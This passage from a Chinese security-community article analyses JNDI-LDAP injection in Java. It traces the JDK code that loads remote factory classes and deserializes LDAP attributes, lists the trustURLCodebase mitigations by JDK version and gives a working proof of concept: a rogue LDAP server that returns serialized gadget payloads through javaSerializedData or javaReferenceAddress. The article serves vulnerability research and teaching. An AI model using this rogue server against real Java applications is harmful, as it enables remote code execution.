                    return refInfo;

                } else {
                    // if reference has no factory, check for addresses
                    // containing URLs
                    // ignore name & attrs params; not used in URL factory

                    answer = processURLAddrs(ref, name, nameCtx, environment);
                    if (answer != null) {
                        return answer;
                    }
                }
            }

            // try using any specified factories
            answer = createObjectFromFactories(refInfo, name, nameCtx,
                                               environment, attrs);
            return (answer != null) ? answer : refInfo;

    }

getObjectInstance方法将reference对象转换为Reference类型并判断reference对象是否为空,如果不为空则从reference引用中获取工厂类Exp名字,接着调用getObjectFactoryFromReference方法根据工厂类Exp名字获取远程调用对象。

getObjectFactoryFromReference方法实现如下:

    static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException,InstantiationException, MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             //尝试先在本地加载Exp类
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        //获取远程地址
        if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                //loadClass方法远程加载Exp类
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {

            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

ldap_low6.png

可以看到LDAP服务跟jndi一样,会尝试先在本地查找加载Exp类,如果本地没有找到Exp类,那么getFactoryClassLocation方法会获取远程加载的url地址,如果不为空则根据远程url地址使用类加载器URLClassLoader来加载Exp类,通过分析发现LDAP服务的整个利用流程都没有URLCodebase限制。看一下整个调用站栈

ldap_low7.png


高版本运行

限制

jdk8u191以上的版本中修复了LDAP服务远程加载恶意类这个漏洞,LDAP服务在进行远程加载之前也添加了系统属性trustURLCodebase的限制,通过分析在jdk8u191版本发现,在loadClass方法内部添加了系统属性trustURLCodebase的判断,如果trustURLCodebasefalse就直接返回null,只有当trustURLCodebase值为true时才允许远程加载。

ldap_low8.png


在高版本 JDK 中需要通过 com.sun.jndi.ldap.object.trustURLCodebase 选项去启用。这个限制在 JDK 11.0.18u1917u2016u211 版本时加入,略晚于 RMI 的远程加载限制。

使用序列化数据,触发Gadget

触发点一:com.sun.jndi.ldap.Obj.java#decodeObject存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]的判断 这里提到 com.sun.jndi.ldap.Obj.java#decodeObject 主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。之前讲到Reference对象,现在讲一下传来的是序列化的对象这种情况。如果是序列化对象会调用deserializeObject方法

serialize1.png

进入deserializeObject方法,发现会进行readObject

serialize2.png
看一下调用栈
serialize3.png


Poc

import com.alter.JNDI_LDAP.util.serializeObject;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


import static com.alter.JNDI_LDAP.util.serializeObject.getPayload;
import static com.alter.JNDI_LDAP.util.serializeObject.serializeObject;

public class Ldap {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8000/#EvilClass", "1389"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {

            //jdk8u191之后
            e.addAttribute("javaClassName", "foo");
            //getObject获取Gadget

            e.addAttribute("javaSerializedData", serializeObject(getPayload()));

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

和低版本JDK运行的Server端代码差不多,就把sendResult处的代码改成能触发反序列化漏洞的利用链就可以

触发点二:com.sun.jndi.ldap.Obj.java#decodeReference函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理,其中还原过程中,也调用了deserializeObject函数,这意味着我们通过满足RefAddress的方式,也可以达到上面第一种的效果。需满足以下条件:1.第一个字符为分隔符 2.第一个分隔符与第二个分隔符之间,表示Referenceposition,为int类型 3.第二个分隔符与第三个分隔符之间,表示type,类型 4.第三个分隔符是双分隔符的形式,则进入反序列化的操作 5.序列化数据用base64编码 payload如下

//方式二
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(serializeObject(getPayload())));
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

serialize4.png

serialize5.png
serialize6.png
触发点二只是一个锦上添花的步骤,我们可以直接用第一种方法,第二种在第一种不能用的情况下可以试试。


总结

  • • JDK 5U456U457u218u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true

  • • JDK 6u1327u1228u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false

  • • JDK 11.0.18u1917u2016u211 开始 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制。但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase的限制。

所以,JNDI-RMI注入方式有:* codebase(JDK 6u1327u1228u113之前可以) * 利用本地Class Factory作为Reference Factory

JNDI-LDAP注入方式:* codebase(JDK 11.0.18u1917u2016u211之前可以) * serialize(两个切入点)

另外,测试代码报readtime out错误的话可能是本机Socket开了代理,关了就好。

Reference

https://evilpan.com/2021/12/13/jndi-injection/ https://blog.csdn.net/weixin_45682070/article/details/122622236 https://blog.csdn.net/qq_35733751/article/details/118767640 https://www.anquanke.com/post/id/201181


推荐阅读:
CodeQL能找到log4shell(CVE-2021-44228)漏洞吗?
浅谈hook攻防
HOW DO YOU ACTUALLY FIND BUGS?(译文)
浅谈Windows传统取证
渗透测试工具 OWASP ZAP 的 RCE 反制



跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。

跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。

阅读更多原创技术文章,戳“阅读全文

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存